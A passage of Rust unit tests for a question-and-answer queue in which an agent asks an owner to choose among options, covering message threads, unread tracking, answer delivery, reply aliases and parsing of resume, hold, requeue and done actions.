3864 let (_dir, s) = store();
3865 let mut q = choice_question();
3866 s.put(&mut q).unwrap();
3867 q.say("why not Postgres?").unwrap();
3868 s.put(&mut q).unwrap();
3869 q.reply("no server to run", vec!["SQLite".to_owned()])
3870 .unwrap();
3871 s.put(&mut q).unwrap();
3872
3873 assert_eq!(
3874 s.count_open(),
3875 1,
3876 "one question that talked twice is still one open question"
3877 );
3878 assert_eq!(s.open_for(&q.run).len(), 1);
3879 }
3880
3881 #[tokio::test]
3882 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3883 let (dir, s) = store();
3884 let mut q = choice_question();
3885 let id = q.id.clone();
3886 let writer = Questions::at(dir.path().join("questions"));
3887 let handle = tokio::spawn(async move {
3888 tokio::time::sleep(Duration::from_millis(30)).await;
3889 let mut fresh = writer.get(&id).expect("the question was filed first");
3890 fresh.say("why not Postgres?").unwrap();
3891 writer.put(&mut fresh).unwrap();
3892 });
3893
3894 let got = wait_for_owner(
3895 &mut q,
3896 &s,
3897 &quiet(),
3898 Duration::from_secs(5),
3899 Duration::from_millis(10),
3900 )
3901 .await
3902 .unwrap();
3903
3904 handle.await.unwrap();
3905 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3906 assert_eq!(
3907 q.status,
3908 QuestionStatus::Open,
3909 "talking back is not a decision; the question stays open"
3910 );
3911 assert!(q.answer.is_none());
3912 }
3913
3914 #[test]
3915 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3916 let mut q = choice_question();
3917 q.say("A").unwrap();
3918 q.delivered_turns = q.thread.len();
3919 q.say("B").unwrap();
3920 q.reply("about A", vec![]).unwrap();
3921 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3922 q.delivered_turns = q.thread.len();
3923 assert_eq!(q.unread_from_owner(), None);
3924 }
3925
3926 #[test]
3927 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3928 let (_d, s) = store();
3929 let mut q = choice_question();
3930 s.put(&mut q).unwrap();
3931 q.say("first").unwrap();
3932 q.say("second").unwrap();
3933 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3934 s.put(&mut q).unwrap();
3935 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3936 let mut out = Vec::new();
3937 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3938 let shown = String::from_utf8(out).unwrap();
3939 let (a, b, c) = (
3940 shown.find("first").unwrap(),
3941 shown.find("second").unwrap(),
3942 shown.find("SQLite").unwrap(),
3943 );
3944 assert!(a < b && b < c, "{shown}");
3945 assert_eq!(q.delivered_turns, q.thread.len());
3946 assert!(q.answer_delivered);
3947 }
3948
3949 #[test]
3950 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3951 let mut q = choice_question();
3952 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3953 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3954 let mut q = choice_question();
3955 q.say("old").unwrap();
3956 q.delivered_turns = q.thread.len();
3957 q.say("new").unwrap();
3958 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3959 let shown = answer_for_agent(&q, "SQLite");
3960 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3961 }
3962
3963 #[test]
3964 fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
3965 let mut q = choice_question();
3966 q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
3967 q.actions.insert(
3968 q.choices[0].clone(),
3969 ChoiceAction::ResumeRun {
3970 run: "run-a".into(),
3971 },
3972 );
3973 q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
3974 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
3975 assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
3976 assert!(
3977 q.resolve_reply("resume-run")
3978 .unwrap_err()
3979 .to_string()
3980 .contains("with offered choices")
3981 );
3982 assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
3983 assert!(
3984 q.resolve_reply("daemon: resume [resume run run-a]")
3985 .is_err()
3986 );
3987 q.actions.insert(
3988 q.choices[0].clone(),
3989 ChoiceAction::Resume {
3990 run: "run-a".into(),
3991 },
3992 );
3993 assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
3994 q.choices.push("another resume".into());
3995 q.actions.insert(
3996 "another resume".into(),
3997 ChoiceAction::Resume {
3998 run: "run-b".into(),
3999 },
4000 );
4001 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4002 }
4003
4004 #[test]
4005 fn recovery_aliases_require_a_unique_offered_structured_effect() {
4006 let mut q = choice_question();
4007 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4008 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4009 q.actions
4010 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4011 }
4012 assert!(
4013 q.resolve_reply("再開")
4014 .unwrap_err()
4015 .to_string()
4016 .contains("ambiguous")
4017 );
4018 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4019 q.choices.remove(1);
4020 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4021 assert!(q.resolve_reply("resume run-b").is_err());
4022 assert!(q.resolve_reply("保留").is_err());
4023 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4024 assert!(!ChoiceAction::Done.matches_alias("完了"));
4025 }
4026
4027 #[test]
4028 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4029 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4030 let ok = parse_actions(
4031 &[
4032 "resume で続行する=resume".to_owned(),
4033 "wait=done".to_owned(),
4034 ],
4035 &choices,
4036 "run-1",
4037 )
4038 .unwrap();
4039 assert_eq!(
4040 ok["resume で続行する"],
4041 ChoiceAction::Resume {
4042 run: "run-1".into()
4043 }
4044 );
4045 assert_eq!(ok["wait"], ChoiceAction::Done);
4046
4047 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4048 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4049 assert_eq!(
4050 ChoiceAction::parse("x=requeue", "").unwrap().1,
4051 ChoiceAction::Requeue
4052 );
4053
4054 assert_eq!(
4055 ChoiceAction::parse("x=hold", "").unwrap().1,
4056 ChoiceAction::Hold
4057 );
4058
4059 for bad in [
4060 "no-equals",
4061 "=done",
4062 "x=resume",
4063 "x=resume:",
4064 "x=explode",
4065 "x=done:1",
4066 ] {
4067 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4068 }
4069 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4070 assert!(
4071 parse_actions(
4072 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4073 &choices,
4074 ""
4075 )
4076 .is_err()
4077 );
4078 }
4079
4080 #[test]
4081 fn only_a_chosen_label_with_an_action_is_actionable() {
4082 let mut q = choice_question();
4083 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4084 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4085 assert!(q.chosen_action().is_none(), "unanswered");
4086 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4087 assert!(
4088 q.chosen_action().is_none(),
4089 "a label that merely reads like an action does nothing"
4090 );
4091
4092 let mut q2 = choice_question();
4093 q2.choices = vec!["SQLite".to_owned()];
4094 q2.actions
4095 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4096 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4097 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4098 }
4099
4100 #[test]
4101 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4102 let mut q = choice_question();
4103 q.choices = vec!["A".to_owned(), "B".to_owned()];
4104 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4105 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4106 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4107 assert_eq!(q.actions.len(), 1);
4108 assert!(q.actions.contains_key("B"));
4109
4110 let mut v = serde_json::to_value(&q).unwrap();
4111 v.as_object_mut().unwrap().remove("actions");
4112 let old: Question = serde_json::from_value(v).unwrap();
4113 assert!(old.actions.is_empty());
4114 }
4115}